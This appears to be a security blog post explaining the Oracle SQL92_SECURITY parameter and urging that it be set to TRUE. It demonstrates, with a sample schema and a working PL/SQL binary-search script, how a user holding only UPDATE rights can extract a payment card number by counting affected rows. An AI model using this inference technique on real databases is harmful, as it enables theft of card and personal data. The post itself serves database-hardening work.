SQL92_SECURITY

The Oracle database initialization parameter SQL92_SECURITY is an often overlooked security parameter. Either because people don't understand it or because they think it's irrelevant.

So what does it do? Well, to quote the documentation:

"The SQL92 standards specify that security administrators should be able to require that users have SELECT privilege on a table when executing an UPDATE or DELETE statement that references table column values in a WHERE or SET clause. SQL92_SECURITY specifies whether users must have been granted the SELECT object privilege in order to execute such UPDATE or DELETE statements."

At this point most DBAs shrug and ignore it or make a comment like "Oh that doesn't affect us". But how do they know?

First you need to understand the risk, then you need to verify that it doesn't affect your site, which isn't that easy believe me.

So what's the risk? If a user has update or delete privileges on a table but not select, they can still determine the contents of the table by performing an update/delete on the table by using the where clause and rolling back the change.

For example:

SQL> delete from emp where salary > 100000;

2 rows updated

SQL> rollback;

Rollback complete

Okay so from that we can determine that two employees are paid over 100,000. We can continue in his fashion, trying different where clauses and eventually work out the exact figure of the highest earner and even all the exact figures of all the salaries in the table. It just takes a little patience. The fact that it would take so long to determine the value of a column is the main reason why most people tend to dismiss this risk.

However as with all monotonous tasks these things can be automated. I wrote a demonstration for our database security workshop. It goes something like this:

Firstly, we'll need an application schema with a couple of tables. How about a customer table and a payment card table:

SQL> show user
USER is "SYSTEM"
SQL> create user appowner identified by appowner
2     quota unlimited on users;

User created.

SQL> alter user appowner quota unlimited on users;

User altered.

SQL> create table appowner.customers
2     ( customer_id   number(8)
3     , first_name    varchar2(40)
4     , surname       varchar2(40)
5     , address_line1 varchar2(40)
6     , address_line2 varchar2(40)
7     , city          varchar2(40)
8     , post_code     varchar2(12))
9     tablespace users;

Table created.

SQL> create table appowner.payment_cards
2     ( customer_id  number(8)
3     , card_issuer  varchar2(30)
4     , card_type    varchar2(8)
5     , card_holder  varchar2(30)
6     , card_number  number(16)
7     , valid_from   number(4)
8     , valid_to     number(4)
9     , issue_number number(2)
10     , ccv          number(3))
11     tablespace users;

Table created.

SQL> insert into appowner.customers
2     values
3        (1,'Joe','Smith','123 Northumperland Ave',NULL,'London','WC2N 5EA');

1 row created.

SQL> insert into appowner.customers
2     values
3        (2,'John','Dennis','12 Bennett Street',NULL,'Manchester','M12 5ND');

1 row created.

SQL> insert into appowner.payment_cards
2     values
3        (1,'ACME','MC','MR JOE SMITH',7337548484843212,NULL,1109,NULL,954);

1 row created.

SQL> insert into appowner.payment_cards
2     values
3        (2,'HSBC','VISA','MR JOHN DENNIS',8200455615154434,NULL,1012,NULL,221);

1 row created.

Then we'll need an application user:

SQL> create user appuser identified by appuser;

User created.

SQL> grant create session to appuser;

Grant succeeded.

Now we just need to give our user privileges on the tables. In this example we're going to give our user full privileges on the customer table but only update on the payment card table.

SQL> grant select, insert, update, delete on appowner.customers to public;

Grant succeeded.

SQL> grant update on appowner.payment_cards to public;

Grant succeeded.

Okay here we go.... From the APPUSER account we can query the customer table and pick a customer. We can describe the payment card table and see that it has a customer_id column (which we can assume is the foreign key). But the one we really want to know is the card number column. But first let's verify that there is a record in the payment_cards table for our customer.

SQL> connect appowner/appowner
Connected.
SQL> select customer_id, first_name, surname from appowner.customers;

CUSTOMER_ID FIRST_NAME
----------- ----------------------------------------
SURNAME
----------------------------------------
    1 Joe
Smith

    2 John
Dennis


2 rows selected.

SQL> select * from appowner.payment_cards where customer_id=2;
select * from appowner.payment_cards where customer_id=2
                 *
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> update appowner.payment_cards
2     set ccv=ccv
3     where customer_id=2;

1 row updated.

SQL> rollback;

Rollback complete.

Okay I know I didn't really need to do the rollback but it's a good habit to get into when playing with this stuff. ;-)

Right now the fun bit... to try and determine the payment card number. Theoretically the quickest way is a binary chop.

SQL> set serveroutput on size 1000000
SQL> set timing on
SQL> declare
2     c_customer_id constant integer := 2; -- Hardcoded CUSTOMER_ID
3     v_max number(16) := 9999999999999999;
4     v_min number(16)  := 0;
5     v_test number(16) := null;
6  begin
7     while v_min != v_max
8     loop
9        -- Uncomment if you want to see it in action
10        --dbms_output.put_line(v_min||'-'||v_max);
11        --
12        v_test := floor(((v_max - v_min)/2)+v_min);
13        --
14        update appowner.payment_cards
15        set card_number = card_number
16        where customer_id = c_customer_id
17        and   card_number <= v_test;
18        --
19        if sql%rowcount = 0
20        then
21           v_min := v_test+1;
22        else
23           v_max := v_test;
24        end if;
25     end loop;
26     --
27     dbms_output.put_line(' Customer ID: '||c_customer_id);
28     dbms_output.put_line('Payment card: '||v_min);
29     --
30  end;
31  /
Customer ID: 2
Payment card: 8200455615154434

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.02

Bingo!

What amazed me was just how quick it was, less than a second to determine a 16 digit number. Of course we can do the same with the other columns and in fact with a little time we could probably automate the whole thing... Identify the primary key, isolate each record one at a time and then, column by column, determine the values. In fact who says someone hasn't already written the code to do it. :-p

My example probably isn't very realistic. But I do see this on customer sites, normally it's involving the SYS.AUD$ table where they have a batch job for clearing down the audit trail.

As I mentioned at the beginning, apart from not understanding the risk, the other reason this issue is often overlooked is that it's a fairly rare occurrence. That is, it's not often that a user has update or delete privileges but not select and therefore most DBAs dismiss it. And you can understand it. But if they're so confident that there are no users with update/delete but no select privileges on any tables then why not set SQL92_SECURITY to TRUE? The reason is that it's actually quite hard to prove.

You may be thinking, "It's simple! A quick query against DBA_TAB_PRIVS with a NOT EXISTS or a MINUS and Robert is your father's brother". But you're forgetting database roles and system privileges. Fortunately I wrote some code at work to drill down through all the nested roles and check for users with this unusual set of privileges.

It's available for download from Pentest's Downloads page it's called sql92_security_chk.sql and sql92_security_chk_11g.sql. ( The reason for the two version is that for performance reasons I used the underlying data dictionary tables as against the human readable views. Unfortunately Oracle changed one of the tables in 11g.)

So no excuses, run the query on your database, if it comes back with nothing then go ahead and set SQL92_SECURITY to TRUE. However if it comes back with something; you need to be asking yourself if these users require these update/delete privileges. Or of course it may highlight cases where users are lacking required SELECT privileges.

I have to say, I'm really surprised that Oracle haven't made this TRUE by default. They've made some really good progress over the last couple of releases to make the database more secure out of the box. And this is one of those parameters where if it did default to TRUE most people would just accept it. So come on Oracle, sort it out! I'm expecting the next release to have this resolved. ;-)